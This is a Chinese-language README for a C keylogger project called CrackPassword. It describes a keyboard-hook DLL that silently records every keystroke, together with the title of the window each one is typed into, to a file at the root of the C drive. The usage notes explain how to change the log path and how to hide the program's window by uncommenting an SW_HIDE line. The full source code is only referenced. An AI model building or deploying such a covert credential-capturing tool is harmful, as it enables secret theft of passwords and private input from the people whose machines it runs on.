C语言实现键盘记录器
开发语言:C
开发工具:Visual Studio 2019
开发时间:2019.8.7
开发者:Summer
参考课程:C/C++黑客技术:键盘记录器……
项目源码参考:C语言实现键盘记录器-源码
一、编写Crack.dll钩子,记录键盘操作
源码参考:Crack
二、编写使用程序 CrackPassword
源码参考:CrackPassword
三、使用说明
双击运行CrackPassword\Release\CrackPassword.exe,会弹出运行窗口,之后即会记录所有键盘操作,生成文件CrackPassword.dat,保存在C盘根目录下,保存内容包含键盘操作的窗口的标题和键盘输入。
文件保存目录可在Crack\Crack.cpp中39行进行自定义修改。
FILE* pFile = fopen("C:\\CrackPassword.dat", "a+");
程序运行的显示窗口可在CrackPassword\CrackPassword.cpp中56行进行设置显示或者隐藏。
//ShowWindow(hWnd, SW_HIDE); //隐藏程序运行窗口
ShowWindow(hWnd, SW_SHOW); //显示程序运行窗口